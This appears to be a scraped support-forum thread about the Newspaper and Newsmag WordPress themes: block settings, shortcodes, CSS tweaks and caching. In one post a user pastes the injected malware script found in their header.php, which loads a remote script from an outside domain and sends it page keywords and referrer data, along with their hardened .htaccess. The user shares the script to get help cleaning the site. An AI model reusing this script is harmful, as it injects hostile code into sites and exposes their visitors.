- NewspaperFlex Block Builder and Flex Loop Builder
- NewspaperHow to use the Flex Blocks cache option
- NewspaperHow to edit modules for Flex Block X
- NewspaperHow to insert a block inside the content of a post
- NewspaperFlex Block Settings Guide
- NewspaperMeta Info on Modules and Blocks
- NewspaperTheme modules and blocks
- TutorialsDefault Block Settings Guide
- NewsmagBlock settings tutorial
- NewsmagCategory tag on modules/blocks
- NewspaperThumbnails – Fix strange looking images on blocks
- NewspaperBlock settings tutorial
- NewspaperCategory Tag on Modules/blocks
- ApiPractical example – How to add a new Block and Module
- Apitd_api_block::delete
- Apitd_api_block::update_key
- Apitd_api_block::update
- Apitd_api_block::add
- ApiAPI – Blocks – Introduction
- NewspaperWP Rocket and Newspaper Theme: Optimization Guide
Cleared my cache, still doesn’t work. Have tried it.. It’s not showing up homepage block contents..
Hi Catalin,
You were right. Wordfence was blocking it. I switched back to the firewall’s learning mode and and it worked.
Thanks
Hello Icsiaid,
If you want to change the order for your page template, you will have to alter the code from the core file in order to achieve as you wish. First of all, please4 notice that you will have to use the pagebuilder+latest articels+pagination template and then you will have to use the do_shortcode method to add your popular block (set your block to display the popular all time from the Block Settings) in page-pagebuilder-latest.php core file, like this -> http://screencast.com/t/DSd3qCGu and then your will have the Latest Articles displayed on your top of the page and then will be this type of block which you set it by Popular all time sorting on the bottom of the page. The snippet of the code for this example is -> <?php echo do_shortcode('[vc_row][vc_column][td_block_6 sort="popular" ajax_pagination="next_prev"][/vc_column][/vc_row]'); ?>
Hope this helps!
Thanks for your understanding!
Hi,
We are unsure why this happens but malware is malware. Once it gets in, it can cause lots of issues. Please use these guides to get rid of it:
http://securepress.org/tutorial-how-to-remove-malware.php
https://wordpress.org/support/topic/malware-removal
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/ (wordfence blocks all access including the theme panel settings, so whenever you want to change the settings in the theme panel you need to set wordfence to learning mode)
Thank you!
Hi,
How do they manage to insert this malware script on header.php everytime i delete it ?
i have added extra security in .htaccess i have changed database prefix from default wp_ to something else much harder to guess.
what elese am i doing wrong ?
this is the code i keep finding in header.php
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://african-ancestries.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://african-ancestries.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
and this is my .htaccess
text/x-generic .htaccess ( ASCII English text )
# Wordfence WAF
<IfModule mod_suphp.c>
suPHP_ConfigPath '/home/anunturi/public_html/test/newspaper'
</IfModule>
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
#Restrict Access to the Admin
ErrorDocument 401 /public_html/test/newspaper/index.php?error=404
ErrorDocument 403 /public_html/test/newspaper/index.php?error=404
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_URI} ^(.*)?wp-login\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)?wp-admin$
RewriteCond %{REMOTE_ADDR} !^86.15.89.142$
RewriteRule ^(.*)$ - [R=403,L]
</IfModule>
#Prevent Directory Browsing
Options All -Indexes
#Restrict Access to PHP Files
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/directory/to/exclude/
RewriteRule wp-content/plugins/(.*\.php)$ - [R=404,L]
RewriteCond %{REQUEST_URI} !^/wp-content/themes/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/themes/directory/to/exclude/
RewriteRule wp-content/themes/(.*\.php)$ - [R=404,L]
#Protect Your Site Against Script Injections
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
#Securing the wp-includes Directory
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>
#Prevent Username Enumeration
RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]
Order Deny,Allow
Deny from 201.79.174.162
Deny from 116.110.194.204
Deny from 31.135.26.61
Deny from 201.133.219.84
Deny from 46.118.113.186
Deny from 86.15.89.142
Deny from 2607:f298:0006:a056:0000:0000:02cb:020d
Deny from 79.135.237.82
Deny from 184.168.152.165
Deny from 50.62.161.99
Deny from 23.238.20.43
Deny from 61.63.25.210
Deny from 50.62.176.36
Deny from 37.61.233.106
Deny from 50.62.176.36
Deny from 70.39.151.44
Deny from 184.168.152.165
Deny from 23.238.20.43
Deny from 184.168.200.229
Deny from 184.168.27.198
Deny from 46.252.205.134
Deny from 208.109.52.46
Deny from 50.62.176.45
Deny from 108.170.8.242
Deny from 184.168.152.165
Deny from 198.71.228.12
Deny from 77.232.68.17
i ended up getting blocked by google … please help
thanks
Hello london789,
Unfortunately, our theme does not have such an option that offers you a way to change the font for your Social Counter. So, if you want to change it, you will have to use a bit of CSS code to do that. Please notice that the font which you have to call with the CSS code will have to be loaded on your theme because otherwise the font will not be displayed.
For example, you can use the code below and place it in Theme panel->Custom CSS area.
The code is ->
.td_block_social_counter {
font-family: "Helvetica Neue", Helvetica, sans-serif;
}
Thanks.
Hi
i’ve checked your site and the ads are displayed fine now: http://screencast.com/t/w0uj7EuUm I am not sure why this happens on your side but you can try to clear the browser’s cache and also make sure you don’t use any ad-blocker software.
Thanks!
Hi
You don’t have to use an offset for block 3 as it will not work if you’re using post id filter. To display unique article on the page it’s enough to keep the option enabled from page settings. However this option will not work with ajax filters, for example next.prev or load more pagination. The unique article option display unique posts only at page’s first load.
Also to have all other articles displayed in block 3 just set it do display posts using on of the available pagination or set a higher limit post number in block’s settings.
Thanks!
Hello kurdi,
Please keep in mind that all the demo styles are custom made for each of them. If you want to achieve the same layout and design for your block title, you will have to check the demo baby blog custom CSS source and try to implement yourself this design because we cannot provide customization services at the moment, sorry! Please try to check this file, like this -> http://screencast.com/t/by3FybR5Zcgi -> http://screencast.com/t/Ew2T7Qakun
Hope this helps!
Thaks for your message!
Buna
Cea mai simpla modalitate este adaugarea tiker-ului in header. Urmand exemplul de mai jos vei avea News-tiker-ul afisat pe orice pageina sau post: http://screencast.com/t/XuEg8wngEPZ
<?php echo do_shortcode('[vc_row][vc_column][td_block_trending_now][/vc_column][/vc_row]'); ?>
Codul de mai sus trebuie adaugat in fisierul corespunzator cu stilul de header folosit. Eu am exemplificat pentru header-style 1.
Multumeasc.
Hi,
You can create a block 3 and set it’s pagination from the block settings: http://screencast.com/t/cDPKElwxKo3x
You need to create the element not get a code for it.
Thank you!
Hello,
The block you pointed out is a block 24 on the cars blog demo. If you want to have the style you must install the cars blog demo as every demo has it’s specific custom made style.
This is how block 24 looks like by default: http://demo.tagdiv.com/newspaper/block-24/
Thank you!
Hi
Each block can be edited from Visual Composer page-builder. For more details in this regard please check our documentation: https://forum.tagdiv.com/newsmag-block-settings-tutorial/ – https://forum.tagdiv.com/newsmag-how-to-use-visual-composer/
If you still need guidance on this please provide more details abort what you’re trying to do, also a link to your site would help.
Thanks!
Hi
The final codes should look like this:
<?php
$category_detail=get_the_category($td_mod_single->post->ID);//$post->ID
foreach($category_detail as $cd){
$cat_name = $cd->cat_ID;
}
$exclude_current_post = $td_mod_single->post->ID;
echo do_shortcode('[vc_row][vc_column width="2/3"][td_block_13 post_ids="'. -$exclude_current_post .'" category_id="' . $cat_name . '" limit=""][/vc_column][/vc_row]');
?>
Thanks!
Have a look at step 5 and see if this helps.
https://forum.tagdiv.com/how-to-make-the-site-faster/
Personally, it slowed my site way down and I wasn’t able to remove render blocking for the CDN. I hope you have better luck with your site.
Tring with other options with Unique articles setted to enabled and setting no offset= to 0 some post on the block3 are duplicated.
I do not understand the logic.
Please Help
Thanks
Fabrizio
Setting Unique articles to enabled the post on BigGrid are not duplicated on block3 but some post are missing.
Thanks
I’m tryng to have an Home page with 5 post on top on a Big Grid with order that i need and after all the other articles using block3 templete except the 5 articles that are in the big grid.
But something do not works
Some articles that are on big grid are repeated on the block3
some articles that must to be on block 3 dare not shown
This is my code.
Where I’m wrong?
[vc_row][vc_column][td_block_big_grid post_ids=”62014,62008,62003,61995,61951″][/vc_column][/vc_row][vc_row el_class="td-ss-row td-top-border"][vc_column width="2/3"][vc_column_text]
<p style=”text-align: center;”>[adrotate banner=”43″]</p>
[/vc_column_text][td_block_3 custom_title="ULTIME NOTIZIE" header_text_color="#ffffff" header_color="#4b972a" border_top="no_border_top" limit="" offset="5" td_filter_default_txt="Tutto" ajax_pagination="infinite" ajax_pagination_infinite_stop="3"][/vc_column][vc_column width="1/3"][vc_widget_sidebar sidebar_id="td-home-sidebar"][/vc_column][/vc_row][vc_row][vc_column][/vc_column][/vc_row]
Is there a way to put a homepage post element in the middle of the page?
To look something like this:
-homepage post
-block x
-block x
-homepage post
-block x
Thanks!
Hi,
I just installed your theme and face some problems. I am using WPML to switch between english and german language. I know, you told me, that the theme is not certified for the use with WPML.
Still, I wonder, why the english page (https://www.offroaddance.com) looks fine (besides the thumbnails which I have to regenerate), while the german version (https://www.offroaddance.com/?lang=de) looks completely smashed.
The preview of the german home page looks just fine. German and english version are identical besides, that I gave the german category id´s for the different blocks.
Do you have an idea, what could be the problem or how this can be solved ?
Additionally, I am having some maps on my post pages (i.e. https://www.offroaddance.com/black-rock-mountain-road-arizona-strip-english/). The map should show up below the text “And here is an overview of the area, we visited:”.
The maps are loaded in a div element as iframe and I am using the following custom css code to scale them for the content area width:
.embed-container {
position: relative;
padding-bottom: 56.25%;
height: 0;
overflow: hidden;
width: 100%;
height: auto;
}
.embed-container iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
Unfortunately, the maps are not showing up, if I use this custom css. If I remove it, the map shows up, but uses the complete width of the content block + sidebar area and doesn´t stay within the content area.
Maybe you are also having an idea about this ?
Thanks in advance for your help.
Worry about the render blocking after doing some of the easier things: cache, CDN, minify …
Content and page load speed are far more important than Google’s recommendations in Insight. It’ll also depend on where you get your traffic – some of the best sites are not perfect in Insight
Examples
https://developers.google.com/speed/pagespeed/insights/?url=www.techmeme.com&tab=mobile
https://developers.google.com/speed/pagespeed/insights/?url=http%3A%2F%2Fwww.washingtonpost.com%2F
In other words — content first, responding to visitors second, webdesign optimization to the point it isn’t a distraction for your visitors.
Good luck on your site – it loads fine. It’s heavy so you can lighten it with removing grid blocks or keep it as is … and enjoy things 🙂
Hello, I have installed first the theme “Health”, now I changed at Newsmag but it has a problem.
A block and a widget are at the end of the web and can not be removed.
Look…
http://prnt.sc/b9iq9b
My website
http://prntscr.com/b9is3b
In my home settings page is not placing.
Please, help me.
I have found the issue, this is when we are using widget block on right side of article, it make a error.
when i modify the latest article widget ( block 21 )
i got this :
wp booster error:
Internal error: The system tried to use an att that does not exists! The list with available atts is in td_block::render
/home/lesinsid/public_html/wp-content/themes/Newspaper/includes/wp_booster/td_block.ph
how can it be solved ?
Sorry i misunderstood with minify option, ( minify plus ) Don’t need to answer
The only thing that i don’t understand its this ( worry about the render blocking,) but do i fix it ??
But how i check the minify option, one time its only available for premium version ? as you can see in this screnn http://prnt.sc/b9ergp.
Sorry i dont undrestand worry about the render blocking, but do i fix it ??
Thanks for Answer !!